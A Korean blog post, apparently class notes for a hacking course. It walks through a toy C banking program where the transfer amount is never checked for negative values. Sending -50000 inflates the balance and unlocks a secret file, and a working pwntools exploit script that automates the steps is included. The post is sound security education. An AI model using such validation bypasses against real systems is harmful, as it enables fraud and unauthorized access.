1-1. exploit_bank.py

옹다·2024년 9월 24일

해킹및정보보안

목록 보기
1/8

다음 코드는 bank.c 소스 코드이다.
우리의 목표는 secret.txt를 읽는 것이다.

#include <stdio.h>
#include <stdlib.h>

// This function will print out the content of "secret.txt" file. You don't need
// to know the internals of this function.
void print_secret(void);

void menu(void) {
  printf("[SYSTEM] What is your choice?\n");
  printf("1. Send money to Alice\n");
  printf("2. Read secret file\n");
  printf("3. Quit\n");
  printf("(Enter 1~3): ");
}

int read_int(void) {
  int v;
  if (scanf("%d", &v) != 1) {
    printf("[ERROR] Invalid input format\n");
    exit(1);
  }
  return v;
}

int main(void) {
  int alice_balance = 2000;
  int your_balance = 1000;
  int choice, amount;
  int quit_flag = 0;

  setvbuf(stdin, NULL, _IONBF, 0);

  while (!quit_flag) {
    printf("=============================\n");
    printf("[SYSTEM] Your balance = %d\n", your_balance);
    menu();
    choice = read_int();
    switch (choice) {
      case 1:
        printf("Input the amount of money you want to send: ");
        amount = read_int();
        if (amount > your_balance) {
          printf("[ERROR] You don't have enough balance\n");
          break;
        }
        your_balance -= amount;
        alice_balance += amount;
        break;

      case 2:
        if (your_balance < 50000) {
          printf("[ERROR] Only the VIP user can read the secret file\n");
          printf("(VIP requirement: balance >= 50000)\n");
          break;
        }
        print_secret();
        break;

      case 3:
        quit_flag = 1;
        break;

      default:
        printf("[ERROR] Invalid choice\n");
    }
  }

  return 0;
}

case 2를 보면 user_balance가 50000 이상이어야 secret.txt를 읽을 수 있다.

어떻게 해야 user_balance가 50000 이상이 되게 할 수 있을까?

먼저, user_balance 값을 수정할 수 있는 case 1를 실행해야 한다.

case 1을 보자.

case 1:
        printf("Input the amount of money you want to send: ");
        amount = read_int();
        if (amount > your_balance) {
          printf("[ERROR] You don't have enough balance\n");
          break;
        }
        your_balance -= amount;
        alice_balance += amount;
        break;

user_balance는 이 프로그램에서 감소하기만 한다.
(user가 alice에게 돈을 보내기만 하기 때문이다.)
user_balance는 1000으로 초기화되어 있기 때문에,
프로그래머가 이 코드를 작성할 때 예상했던 이상적인 입력 값(상식적으로, 0 ~ 1000)으로는 절대 user_balance를 50000이상으로 만들 수 없다.

그래서 우리는 예상치 못한 입력을 이용하여 50000이상으로 만들고 secret.txt를 읽어야 한다.
=> amount 값에서 음수를 check 안 하는 것이 포인트 !!!
amount < 1000 이어야 하고,
1000 - amount >= 50000 라면,
amount <= -49000 이면 된다!

  1. 1 입력
  2. amout로 -50000 입력 -> 초기값 1000보다 작으며, your_balance - (-50000) = your_balance + 50000이 되어 user_balance가 500000 이상이 되어버림.
  3. 2 입력
    -> secret.txt가 열림.

이제 해당 과정으로 bank.bin을 공격하는 exploit_bank.py를 작성해보자.

#!/usr/bin/python3

from pwn import * # pwntools library에서 모든 func와 class를 가져온다.


def exploit(): # exploit func def
    # TODO: Fill in the remaining exploit logic.

    # local system에서 binary file을 실행하고,
    # 이와 상호작용할 수 있는 객체 생성
    p = process("./bank.bin")

    # Read in the menu messages.
    for i in range(6):
        print(p.recvline())
    print(p.recvuntil(b"(Enter 1~3): "))

    p.sendline(b"1")
    print(p.recvuntil(b"Input the amount of money you want to send: "))
    p.sendline(b"-50000")


    for i in range(6):
        print(p.recvline())
    print(p.recvuntil(b"(Enter 1~3): "))

    p.sendline(b"2")
    print(p.recvline())

    for i in range(6):
        print(p.recvline())
    print(p.recvuntil(b"(Enter 1~3): "))

    p.sendline(b"3")
    return



if __name__ == "__main__":
    exploit()

profile
많진 않아도 딱 내 것을 만드는 공정

0개의 댓글